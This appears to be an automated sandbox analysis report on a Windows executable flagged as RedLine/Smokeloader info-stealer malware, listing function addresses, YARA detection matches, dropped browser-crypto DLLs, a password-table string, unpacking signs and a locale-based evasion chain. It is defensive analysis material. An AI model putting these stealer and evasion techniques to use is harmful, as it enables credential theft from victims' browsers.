Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_61E18736	0_2_61E18736
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_61E86668	0_2_61E86668
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_61E58670	0_2_61E58670
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_61E10856	0_2_61E10856
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_61EA0BA9	0_2_61EA0BA9
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_61E62CA3	0_2_61E62CA3
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_61E98FE2	0_2_61E98FE2
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_61E88FCA	0_2_61E88FCA
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_61E52F80	0_2_61E52F80
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_61EA2F47	0_2_61EA2F47
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_61E56F18	0_2_61E56F18
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_61E4CEF9	0_2_61E4CEF9
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_61E1EEFF	0_2_61E1EEFF
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_61E64E0C	0_2_61E64E0C
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_61EA91F6	0_2_61EA91F6
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_61E9316A	0_2_61E9316A
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_61E9F0ED	0_2_61E9F0ED
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_61E9D0C3	0_2_61E9D0C3
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_61E8D0B6	0_2_61E8D0B6
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_61E6904E	0_2_61E6904E
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_61E4304E	0_2_61E4304E
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_61E15337	0_2_61E15337
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_61E19208	0_2_61E19208
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_61E534E3	0_2_61E534E3
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_61E77452	0_2_61E77452
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_61E37930	0_2_61E37930
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_61E7B85E	0_2_61E7B85E
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_61E21816	0_2_61E21816
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_61E9FBF0	0_2_61E9FBF0
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_61E55BD7	0_2_61E55BD7
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_61E91DC1	0_2_61E91DC1
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_61E6DDA5	0_2_61E6DDA5
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_61E31DAB	0_2_61E31DAB
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_61E95D7A	0_2_61E95D7A
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_61E5BC4C	0_2_61E5BC4C
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_61E1DEC2	0_2_61E1DEC2
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_61E69E8F	0_2_61E69E8F
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_61E89E0E	0_2_61E89E0E

Source: C:\Users\user\Desktop\FFAk2gixx5.exe

Code function: String function: 004043B0 appears 315 times

Source: nss3[1].dll.0.dr	Static PE information: No import functions for PE file found
Source: vcruntime140[1].dll.0.dr	Static PE information: No import functions for PE file found
Source: nss3.dll.0.dr	Static PE information: No import functions for PE file found
Source: vcruntime140.dll.0.dr	Static PE information: No import functions for PE file found

Source: nss3[1].dll.0.dr	Static PE information: Data appended to the last section found
Source: vcruntime140[1].dll.0.dr	Static PE information: Data appended to the last section found
Source: nss3.dll.0.dr	Static PE information: Data appended to the last section found
Source: vcruntime140.dll.0.dr	Static PE information: Data appended to the last section found

Source: FFAk2gixx5.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000000.00000002.3315657325.0000000002C37000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.3315854062.0000000002FC0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/18@1/1

Source: C:\Users\user\Desktop\FFAk2gixx5.exe

Code function: 0_2_00414DD0 CreateToolhelp32Snapshot,Process32First,Process32Next,FindCloseChangeNotification,

0_2_00414DD0

Source: C:\Users\user\Desktop\FFAk2gixx5.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\freebl3[1].dll

Jump to behavior

Source: FFAk2gixx5.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\FFAk2gixx5.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: FFAk2gixx5.exe, 00000000.00000002.3333975947.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, FFAk2gixx5.exe, 00000000.00000002.3326407277.000000001D119000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: FFAk2gixx5.exe, 00000000.00000002.3333975947.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, FFAk2gixx5.exe, 00000000.00000002.3326407277.000000001D119000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: FFAk2gixx5.exe, 00000000.00000002.3333975947.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, FFAk2gixx5.exe, 00000000.00000002.3326407277.000000001D119000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: FFAk2gixx5.exe, 00000000.00000002.3333975947.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, FFAk2gixx5.exe, 00000000.00000002.3326407277.000000001D119000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: FFAk2gixx5.exe, 00000000.00000002.3333975947.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, FFAk2gixx5.exe, 00000000.00000002.3326407277.000000001D119000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: FFAk2gixx5.exe, 00000000.00000002.3333975947.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, FFAk2gixx5.exe, 00000000.00000002.3326407277.000000001D119000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: FFAk2gixx5.exe, 00000000.00000002.3333975947.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, FFAk2gixx5.exe, 00000000.00000002.3326407277.000000001D119000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: FFAk2gixx5.exe, 00000000.00000003.2673898862.00000000231D4000.00000004.00000020.00020000.00000000.sdmp, FFAk2gixx5.exe, 00000000.00000003.2685397085.00000000231C8000.00000004.00000020.00020000.00000000.sdmp, JECBGCFHCFIDHIDHDGDG.0.dr, CGDGHCBGDHJJKECAECBA.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: FFAk2gixx5.exe, 00000000.00000002.3333975947.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, FFAk2gixx5.exe, 00000000.00000002.3326407277.000000001D119000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: FFAk2gixx5.exe, 00000000.00000002.3333975947.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, FFAk2gixx5.exe, 00000000.00000002.3326407277.000000001D119000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: FFAk2gixx5.exe	ReversingLabs: Detection: 71%
Source: FFAk2gixx5.exe	Virustotal: Detection: 68%

Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Section loaded: ntmarta.dll	Jump to behavior

Source: C:\Users\user\Desktop\FFAk2gixx5.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\FFAk2gixx5.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: mozglue.pdbP source: mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: mozglue.pdb source: mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\FFAk2gixx5.exe

Unpacked PE file: 0.2.FFAk2gixx5.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:EW;.rdata:R;.data:W;.reloc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\FFAk2gixx5.exe

Unpacked PE file: 0.2.FFAk2gixx5.exe.400000.0.unpack

Source: C:\Users\user\Desktop\FFAk2gixx5.exe

Code function: 0_2_00416230 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00416230

Source: nss3[1].dll.0.dr	Static PE information: real checksum: 0x202d6c should be: 0x1c592b
Source: vcruntime140[1].dll.0.dr	Static PE information: real checksum: 0x16dd4 should be: 0x14d5a
Source: nss3.dll.0.dr	Static PE information: real checksum: 0x202d6c should be: 0x1c592b
Source: vcruntime140.dll.0.dr	Static PE information: real checksum: 0x16dd4 should be: 0x14d5a

Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat

Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_004176B5 push ecx; ret	0_2_004176C8
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_02C373CF push eax; ret	0_2_02C373D6
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_02C373D7 push ecx; ret	0_2_02C373E6
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_02C373A7 push ecx; ret	0_2_02C373BE
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_02C37377 push eax; ret	0_2_02C37386
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_02C3711F push eax; ret	0_2_02C37115
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_02C374EF push ecx; ret	0_2_02C374F6
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_02C374F7 push ecx; ret	0_2_02C37506
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_02C37497 push eax; ret	0_2_02C374AE
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_02C374BF push eax; ret	0_2_02C374EE
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_02C3745F push eax; ret	0_2_02C37466
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_02C37507 push edx; ret	0_2_02C3751E
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_02C3751F push ecx; ret	0_2_02C37526
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_02C37527 push ecx; ret	0_2_02C37536
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_02C3753F push edx; ret	0_2_02C3754E
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_02FD791C push ecx; ret	0_2_02FD792F

Source: C:\Users\user\Desktop\FFAk2gixx5.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\FFAk2gixx5.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\FFAk2gixx5.exe

0_2_00416230

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\FFAk2gixx5.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-94762

Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Dropped PE file which has not been started: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Dropped PE file which has not been started: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Dropped PE file which has not been started: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_0040B610 FindFirstFileA,StrCmpCA,StrCmpCA,GetSystemTimes,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040B610
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_0040DB60 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0040DB60
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_0040D540 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040D540
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_00412570 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00412570
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_0040D1C0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040D1C0
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_004015C0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_004015C0
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_004121F0 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_004121F0
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_00411650 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00411650
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_00411B80 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00411B80
Source: C:\Users\user\Desktop\FFAk2gixx5.exe	Code function: 0_2_02FD27D7 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_02FD27D7
